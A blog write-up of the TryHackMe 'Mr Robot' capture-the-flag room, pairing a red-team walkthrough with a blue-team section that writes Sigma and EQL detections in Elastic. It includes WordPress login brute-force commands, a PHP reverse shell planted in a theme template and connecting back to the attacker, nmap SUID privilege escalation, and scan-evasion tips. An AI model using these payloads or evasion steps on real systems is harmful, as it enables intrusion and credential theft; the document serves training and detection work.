Post

THM Mr Robot CTF Writeup Red and Blue Team

THM Mr Robot CTF Writeup Red and Blue Team

Welcome to this issue of the Shieldia blog, today we will be doing the Mr Robot CTF on TyrHackMe. We will recon the target, enumerate the username with ffuf, brute force the credentials, catch a reverse shell with Villain, exfiltrate all the flags. In the Blue Team section we detect all the activity with Elastic SIEM. I propose three new Sigma rules to detect, obfuscated nmap scans, WordPress based brute force without a WAF, and local lateral movement from the www-data account.

Mr Robot - Red Team

Task 1

Follow the steps to connect to the THM network.

Task 2

Lunch the Machine and like always we will begin by reconnoitering the target.

Once the machine has started add it to your Kali’s /etc/hosts file so we only interact with DNS names (replace <TARGET_IP>):

1
sudo bash -c "echo '<TARGET_IP> mrrobot.thm.home.arpa' >> /etc/hosts"

Nmap

As always we will do a little nmap recon to see what ports are open:

1
sudo nmap -A -p- -vvv mrrobot.thm.home.arpa

Port 22:

mrrobotredteamnmapport22 Example namp output for port 22

Port 80 and 443:

mrrobotredteamnmapport80and443 Example nmap output for port 80 and 443

Looks like the cert has expired and the server supports the HEAD method, other than that nothing overly interesting.

Since the server is responding with web ports 80 and 443 we can enumerate what’s there.

Basic Browser

Visiting the URL in a browser we are presented with a little “terminal”:

mrrobotredteambasicweb Example mrrobot web terminal

All the commands are rabbit holes.

Having a quick look at the source code nothing overly interesting either:

mrrobotredteambasicbrowsersouce Example source code

ffuf

Lets have a look what directories might be served:

1
ffuf -u "http://mrrobot.thm.home.arpa/FUZZ" -mc 200 -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

mrrobotredteamffuf Example mrrobot ffuf scan

Much more information. We can suspect from this that we are dealing with a WordPress site from the wp-* returned directories.

While we explore these directories lets start a little Nikto scan.

Nikto

A little Nikto scan:

1
nikto -host mrrobot.thm.home.arpa

mrrobotredteamniktoscan Example nikto scan output

/#wp-config.php# This is a red herring.

Basic Browser

Now that we have a list of directories to enumerate further lets see what they serve in a browser. I’ll only demo interesting directories.

/robots.txt

mrrobotredteambbrobotstxt Example robots.txt

Going to key-1-of-3.txt we are presented with the first flag:

mrrobotredteambbkey1 Example first flag

/fsocity.dic Looks like a wordlist… interesting.

mrrobotredteambbwordlist

Download the wordlist with:

1
wget http://mrrobot.thm.home.arpa/fsocity.dic

/admin Breaks in an infinite load loop and looks like the rabbit hole CSS.

/wp-admin Looks like a WordPress login page:

mrrobotredteambbwpadmin Example wordpress login to mrrobot

Brute Force?

First we must identify what username to target, luckily for us WordPress will tell us!

Using ffuf we can quickly enumerate usernames. There are two distinct fail conditions, first if you enter a username and empty password:

mrrobotredteambbnopass Example no password

Next is if you enter a password you’ll see:

mrrobotredteambbnouser Example wrong user/pass

WordPress will tell you the username is wrong! Very interesting, lets construct a ffuf scan to take advantage of this to identify a valid username.

ffuf

Fuzz Faster u Fool is great for quick and dirty broute forcing. I generated the request structure from a simple “Copy as cURL” in the Firefox Inspector from a failed POST login request:

mrrobotredteambfcurl Example copy as curl

Then modify the request to fit within what ffuf expects:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ffuf -u 'http://mrrobot.thm.home.arpa/wp-login.php' \
  --compressed \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://mrrobot.thm.home.arpa' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://mrrobot.thm.home.arpa/wp-login.php' \
  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
  -d 'log=FUZZ&pwd=asdf&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm.home.arpa%2Fwp-admin%2F&testcookie=1' \
  -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
  -fr "(Invalid username\.|The password field is empty\.)"

mrrobotredteambfffufusername Example ffuf username bf

Now we have a username lets use the wordlist we’ve downloaded and target it.

Based on the hint for this level we can assume there is something fishy about the wordlist. What if we reverse the order of the entries?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ffuf -u 'http://mrrobot.thm.home.arpa/wp-login.php' \
  --compressed \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://mrrobot.thm.home.arpa' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://mrrobot.thm.home.arpa/wp-login.php' \
  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
  -d 'log=elliot&pwd=FUZZ&wp-submit=Log+In&redirect_to=http%3A%2F%2Fmrrobot.thm.home.arpa%2Fwp-admin%2F&testcookie=1' \
  -w <(tac fsocity.dic) \        
  -fr "The password you entered for the username"

tac is cat backwards so it just reverses the order of entries in a file (not the entries themselves that would be rev) it then creates a file descriptor for this new file as an input for ffuf.

mrrobotredteambfffufpassword Example ffuf password bf

Persistence

So we now have the WordPress username and password, lets login. :)

mrrobotredteambbwplogin Example wordpress login dashboard

Nice, now how do we place a little revshell on the target? Well since all the Appearance Templates are all loaded by PHP maybe that is an avenue.

Navigate to Appearance -> Editor

mrrobotredteamrsinit Example wordpress edit page

Villain

First download and install Villain to manage our little revshells. We don’t need to mess with netcat today. Install steps can be found here.

If you use either netcat or Villain they’ll need permission to bind to privileged ports, run this incantation: sudo setcap 'cap_net_bind_service=+ep' $(realpath $(command -v python3)) for Villain or sudo setcap 'cap_net_bind_service=+ep' $(realpath $(command -v nc)) for netcat.

Start a Villain or netcat listener:

1
python3 Villain.py -n 443

mrrobotredteamrevshellvillain Example villain listener

Now upload a custom 404 template to the WordPress site that looks like the following (replace your IP):

1
2
3
4
<?php
$sock = fsockopen("<REPLACE_ME>", 443);
$proc = proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

mrrobotredteamrevshelltemplate Example 404 revshell

Don’t forget to hit “Upload File.”

Now visit the 404 page:

1
http://mrrobot.thm.home.arpa/wp-content/themes/twentyfifteen/404.php

This should trigger the revshell and be caught by villain:

mrrobotredteamrevshellvillaincatch Example revshell catch

To activate the shell just type:

1
shell <ID>

mrrobotredteamrevshellvillainls Example shell working

Lets have a look at /home:

1
ls -alh /home

mrrobotredteamrevshellvillainlshome Example ls of home in revshell on server

Looks like “robot” is home lets see what they have (it’s owned by root which is strange):

1
ls -alh /home/robot

mrrobotredteamrevshellvillainlshomerobot Example ls of home robot in revshell on server

Nice read the flag with:

1
cat /home/robot/key-2-of-3.txt

mrrobotredteamrevshellvillainlshomerobotkey Example cat of key in robot dir

Oh no looks like we’ll need to pivot to the robot user, lets have a gander at the password.raw-md5 file quick:

1
cat /home/robot/password.raw-md5

mrrobotredteamrevshellvillainlshomerobothash Example hash

Interesting, could this be the user’s password? Lets fire at crackstation and see:

mrrobotredteamcrackstation Example hash in crackstaion

Seems like it is, lets use it to su into the account.

1
su robot

mrrobotredteamrobotlogin Example pivot to robot

Now lets read the flag:

1
cat /home/robot/key-2-of-3.txt

Local Privilege Escalation

Now that you have two flags lets log into the box via SSH, this will make a much more stable connection.

1
ssh robot@mrrobot.thm.home.arpa

Use the password we pivoted to the robot account with.

Once you’ve logged in upgrade the shell to bash

1
2
3
/bin/bash
lsb_release -a
umane -a

mrrobotredteamssh Example ssh

Looks like quite an old Ubuntu distribution, worth noting down but not too important now.

Lets have a look at what SUID bit binaries are available:

1
find / -perm /6000 2>/dev/null

You could also use the or matcher

1
find / \( -perm -4000 -o -perm -2000 -o -perm -6000 \) 2>/dev/null

mrrobotredteamsshlocalrecon Example suid files

Interesting, having a look at nmap in GTFObins we get a hit:

mrrobotredteamgtfobins Example gtfobins search

1
2
3
nmap --interactive
!bash
cat /root/key-3-of-3.txt

Boom we get root.

mrrobotredteamgnmaproot Example root

Mr Robot - Blue Team

All testing done against local targets not affiliated with THM

Setup

You don’t have to setup a local instance at home! This is for illustrative purposes if you were so inclined and wanted to follow along at home! I won’t document everything, this is a starting point for you to use!

With the Tartarus Lab I’ve created a sub-directory to host this VM and created a new Vagrantfile. You’ll need to copy over the keys, certs, apps, and tokens dirs to the new sub-directory.

This means we don’t have to seed the logs like we did in the 0day post, and we get access to more logging sources.

Vagrant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|

  config.vm.define "wordpress", autostart: false do |wordpress|
    wordpress.vm.box = "bento/ubuntu-20.04"
    wordpress.vm.hostname = 'tartarus-wordpress'
    wordpress.vm.box_url = "bento/ubuntu-20.04"

    # Configuring both NAT and private network interfaces
    wordpress.vm.network :private_network, ip: "192.168.56.73", virtualbox__intnet: "vboxnet1", auto_config: false

    wordpress.vm.provider :virtualbox do |v|
      v.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
      v.customize ["modifyvm", :id, "--cpus", 2]
      v.customize ["modifyvm", :id, "--memory", 2048]
      v.customize ["modifyvm", :id, "--name", "tartarus-wordpress"]
    end

    # Provisioning script using Netplan
    wordpress.vm.provision "shell", inline: <<-SHELL

      # Create Netplan configuration
cat > /etc/netplan/01-netcfg.yaml << EOF
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: true
    eth1:
      dhcp4: no
      addresses:
        - 192.168.56.73/26
      gateway4: 192.168.56.65
      nameservers:
        addresses:
          - 192.168.56.65
      routes:
        - to: default
          via: 192.168.56.65
          metric: 10
EOF
      # Apply Netplan configuration
      sudo netplan apply
    SHELL
    
    # Additional provisioning script (since we are dealing with Ubuntu 20xx)
    wordpress.vm.provision :shell,  inline: <<-SHELL
      if ! systemctl is-active --quiet elastic-agent; then
        echo "Elastic Agent service not running. Running APACHEALBootstrap.sh"
        bash /vagrant/APACHEALBootstrap.sh
      else
        echo "Elastic Agent service is running"
      fi
    SHELL

  end 
end 

First you bring up the Tartarus Lab with a little (in the parent Tartarus dir):

1
vagrant up opnsense elastic kali

Then save the above Vagrantfile to a subdirectory named wordpress and run the up command:

1
2
mkdir wordpress
cd !$
1
2
vim Vagrantfile
[paste the contents quit with :x]
1
vagrant up wordpress

Open a browser to (if you’ve followed the prerequisites and created an entry in your hosts’ /etc/hosts file!):

1
https://tartarus-elastic.home.arpa:5443/app/home#/

Navigate to the fleet page to confirm connectivity:

mrrobotblueteamelasticagentconf Example elastic fleet agent connections

We expect it to be in an “Unhealthy” state since we haven’t installed Apache yet.

WordPress

This will setup WordPress in a non-production insecure manner, DO NOT USE FOR PRODUCTION!

Now log into the guest and install Apache:

1
vagrant ssh wordpress

Install the dependencies:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo apt update
sudo apt install apache2 \
                 ghostscript \
                 libapache2-mod-php \
                 mysql-server \
                 php \
                 php-bcmath \
                 php-curl \
                 php-imagick \
                 php-intl \
                 php-json \
                 php-mbstring \
                 php-mysql \
                 php-xml \
                 php-zip

Install WordPress (we will install an old version to emulate the real target):

1
2
3
sudo mkdir -p /srv/www
sudo chown www-data: /srv/www
curl https://wordpress.org/wordpress-4.3.tar.gz | sudo -u www-data tar xz -C /srv/www

Configure Apache for WordPress (/etc/apache2 is write protected so we need to elevate privileges):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo bash -c "cat > /etc/apache2/sites-available/wordpress.conf << EOF
<VirtualHost *:80>
    DocumentRoot /srv/www/wordpress
    <Directory /srv/www/wordpress>
        Options FollowSymLinks
        AllowOverride Limit Options FileInfo
        DirectoryIndex index.php
        Require all granted
    </Directory>
    <Directory /srv/www/wordpress/wp-content>
        Options FollowSymLinks
        Require all granted
    </Directory>
</VirtualHost>
EOF"
1
2
3
4
sudo a2ensite wordpress
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo service apache2 reload

Configure the database:

1
sudo mysql -u root -e "CREATE DATABASE wordpress; CREATE USER 'wordpress'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,ALTER ON wordpress.* TO 'wordpress'@'localhost'; FLUSH PRIVILEGES;"

Confirm the database was created:

1
sudo mysql -u root -e "SHOW DATABASES LIKE 'wordpress%';"

mrrobotblueteammysqldbconf Example confirm db was created command

Configure WordPress to connect to the database:

1
sudo -u www-data cp /srv/www/wordpress/wp-config-sample.php /srv/www/wordpress/wp-config.php
1
2
3
sudo -u www-data sed -i 's/database_name_here/wordpress/' /srv/www/wordpress/wp-config.php
sudo -u www-data sed -i 's/username_here/wordpress/' /srv/www/wordpress/wp-config.php
sudo -u www-data sed -i 's/password_here/password/' /srv/www/wordpress/wp-config.php

Create the new salts:

1
2
3
4
5
sudo -u www-data bash -c '
salts=$(curl -s https://api.wordpress.org/secret-key/1.1/salt/)
awk -v r="$salts" "/define.*AUTH_KEY/,/define.*NONCE_SALT/ {if (!done) {print r; done=1; next} next} {print}" /srv/www/wordpress/wp-config.php > /srv/www/wordpress/wp-config.php.new &&
mv /srv/www/wordpress/wp-config.php.new /srv/www/wordpress/wp-config.php
'

Replace the default login route. Open /srv/www/wordpress/wp-login.php and replace the following line:

1
sudo vim /srv/www/wordpress/wp-login.php

Replace this line:

1
$user = wp_signon( '', $secure_cookie );

With the following:

1
2
3
4
5
$creds = array();
$creds['user_login']    = isset($_POST['log']) ? $_POST['log'] : '';
$creds['user_password'] = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$creds['remember']      = isset($_POST['rememberme']);
$user = wp_signon( $creds, $secure_cookie );

mrrobotblueteamwploginupdate Example working login route

Don’t forget to set the timezone if you are non-UTC

Now we can configure the WordPress site. From the Kali instance in the Tartarus Lab goto:

1
http://192.168.56.73/wp-admin/install.php

mrrobotblueteaminstallwp Example wordpress install steps browser

Follow the install steps:

Username:

1
dagwood

Password:

1
liverpool1

Email:

1
example@test.home.arpa

mrrobotblueteaminstallwpcont Example wp install steps

Once you login you’ll have your very own WordPress site!

mrrobotblueteaminstallwplogin Example wp dashboard

Now we can enumerate the site like we did against the target and see what logs we’ll get. :)

Enum Fun

Nmap

As always we’ll enum the target with nmap, however this time we will be more sneaky beaky like. For more information regarding nmap obfuscation see my Medium DVWA Recon post.

First we get what ports are open on the target:

1
sudo nmap -Pn -v -sS --top-ports 100 tartarus-dvwa.home.arpa

mrrobotblueteamnmapscan Example nmap scan obfuscated

This doesn’t risk any connections you didn’t intend like -A will do to all open ports found.

The following namp command doesn’t work as expected.

Now that we know port 80 is open lets do a little web based recon:

1
sudo nmap -A -Pn -p 80 -vvv --script-args http.useragent="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.3" 192.168.56.73

Gives us the same info as before, but we are undetected in the SIEM:

mrrobotblueteamnmapwebscan Example nmap web scan

On the wire this doesn’t actually set the User-Agent header properly. The correct scan should be:

1
sudo nmap -A -Pn -p 80 -vvv --script-args "http.useragent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.3'" 192.168.56.73

The alerts in Elastic SIEM:

mrrobotblueteamnmapnoalertsiem Example no alerts in siem

Great we’re home free, right? Right?

Not quite, what about the actual HTTP requests nmap is making? Great question astute reader.

One of the requests is to the following directory (the number is the Epoch time):

1
/nmaplowercheck1760635935

Great now we can write a rule to catch the obfuscated nmap scan attempts against our external infra.

A Sigma rule like this will do the trick:

1
2
3
4
5
6
7
8
9
...
detection:
    selection:
        c-url|contains: '/nmaplowercheck'
    user_agent_filter:
        c-useragent|contains:
            - 'Nmap Scripting Engine'
    condition: selection and not user_agent_filter
...

mrrobotblueteamnmapobfscanalert Example elastic alert for obfuscated nmap scanning

ffuf

Moving back to ffuf how could we obfuscate our scanning to prevent detection? There are three effective measures I’ll put into one; slow the scan down with -rate, replace the User-Agent, and use the HEAD method.

A scan like this will be detected:

1
ffuf -u "http://192.168.56.73/FUZZ" -mc 200 -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

mrrobotblueteamffufalerts Example ffuf scan alerts

I’ve updated the RFI rule to exclude WordPress login callbacks.

The stealthier scan would be:

1
ffuf -X HEAD -rate 3 -u "http://tartarus-dvwa.home.arpa/FUZZ" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.3" -mc 200 -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

mrrobotblueteamffufstelthscan Example ffuf stealth scan results

The SIEM doesn’t detect anything:

mrrobotblueteamffufelasticnoalerts Example no alerts in elastic

For common.txt this scan will take about ~25 minutes, not ideal but much less noisy. There are other variables we could play with. What about sending the requests via a serverless topology in Cloudflare or AWS? A few requests per instance distributed globally with random sections of the wordlist, could be interesting.

Why use the HEAD method? To bypass some prematurely optimised detection rules as mentioned here.

Nikto

The Nikto scan is very noisy, I won’t be providing any obfuscation for it but just for an idea this is what the following scan would do:

1
nikto -host 192.168.56.73

mrrobotblueteamniktoalerts Example alerts for a nikto scan

Brute Force

With all these detections surely we’d be able to easily identify any brute force attempts, right?

ffuf brute force

An updated WordPress username guesser as before will produce the following alerts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ffuf -u 'http://192.168.56.73/wp-login.php' \
  --compressed \
  -X POST \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://192.168.56.73' \
  -H 'Connection: keep-alive' \
  -H 'Referer: http://192.168.56.73/wp-login.php' \
  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'Priority: u=0, i' \
  -d 'log=FUZZ&pwd=asdf&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.56.73%2Fwp-admin%2F&testcookie=1' \
  -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
  -fr "(Invalid username\.|The password field is empty\.)"

mrrobotblueteamffufwpbf Example ffuf username bf

Look at all these alerts:

mrrobotblueteamffufelasticnoalerts Example no alerts from ffuf username post based bf

What, what gives? The POST method is what, bereft a WAF we have no visibility into any of the request body. I’ve discussed this at length in the DVWA Medium Recon post. In this instance we won’t be installing ModSecurity, instead I’ll create a new Sigma rule to detect WordPress POST based brute force attempts. Or at least give us an idea if it’s happening.

Having a look at the log rate over that time window we see a massive increase in POST requests:

mrrobotblueteamffufusernamebfelastic Example elastic search for post requests

Almost 7,000 POST requests from a single source in such a short period of time to the /wp-login.php endpoint. To me this is signals a brute force attempt, however without a WAF we don’t know what users are targeted or any other information. The Sigma rule will look for 100 attempts to /wp-login.php on the target host within a 5 minute window from the same source IP address.

The Sigma rule would look something like this:

1
2
3
4
5
6
7
8
9
10
11
...
detection:
    selection:
        method: 'POST'
        url|contains: 
          - '/wp-login.php'
          - '/wp%2Dlogin%2Ephp'
          - '/wp-login%2Ephp'
          - '/wp%2Dlogin.php'
    condition: selection
...

mrrobotblueteamelasticwpbfalerts Example elastic alerts for wordpress post bf

The logic holds true for both username enumeration and brute forcing, however we can’t tell the difference from the logs.

Again the obfuscation would be to slow the scan waaaay down.

Persistence

Do the current custom Sigma rules detect our reverse shell?

Indeed it does, however we won’t use the 404 based revshell method. If you use the 404 method it’ll spawn a shell every ~30 seconds due to the Elastic Agent Apache health check.

Start the Villain listener:

1
python3 Villain.py -n 443

mrrobotredteamrevshellvillain Example villain revshell catcher

Uploading a revshell to the bio page:

1
http://192.168.56.73/wp-admin/theme-editor.php?file=author-bio.php&theme=twentyfifteen

We will change the file to:

1
2
3
4
<?php
$sock = fsockopen("192.168.56.200", 443);
$proc = proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

mrrobotblueteamrevshellupload Exmaple revshell upload

Trigger the revshell:

1
http://192.168.56.73/wp-content/themes/twentyfifteen/author-bio.php

mrrobotblueteamrevshellactive Example active revshell

Alert in Elastic:

mrrobotbluereamrevshellelasticalerts Example alert in elastic

It looks like my updated Sigma rule will catch the revshell:

mrrobotblueteamprocanalyzer Example proc analyzer

You can now pivot to the local Vagrant account:

mrrobotblueteamrevshellswitch Example local pivot

As a bonus there is a way to identify revshell like activity if you only have network traffic logs, run the following EQL search:

1
2
3
4
5
6
7
8
sequence with maxspan=1s
  [ network where event.category == "network" and event.action == "pass"
      and cidrmatch(source.ip, "192.168.56.192/26")
      and cidrmatch(destination.ip, "192.168.56.64/26")
      and (destination.port == 80 or destination.port == 443) ]
  [ network where event.category == "network" and event.action == "pass"
      and cidrmatch(source.ip, "192.168.56.64/26")
      and cidrmatch(destination.ip, "192.168.56.192/26") ]

mrrobotblueteameqlforrevshell Example eql search for revshell activity on the network

Pivot

What if a user leaves their login credentials accessible? Can we detect local lateral movement from the www-data account? Yes! The local www-data account shouldn’t ever log into any other account.

A Sigma rule like this should do the trick (I’ve added a new Sigma pipeline as well to add the new logsource):

1
2
3
4
5
6
detection:
    selection:
        Action: 'logged-on'
        UserId: '33'
        ProcessName: 'su'
    condition: selection

mrrobotblueteamelasticlocallatmovealert Example elastic alert for local lat movement

Credits

WordPress install steps from https://ubuntu.com/tutorials/install-and-configure-wordpress

Cover image thanks to NASA on Unsplash

This post is licensed under CC BY-SA 4.0 by the author.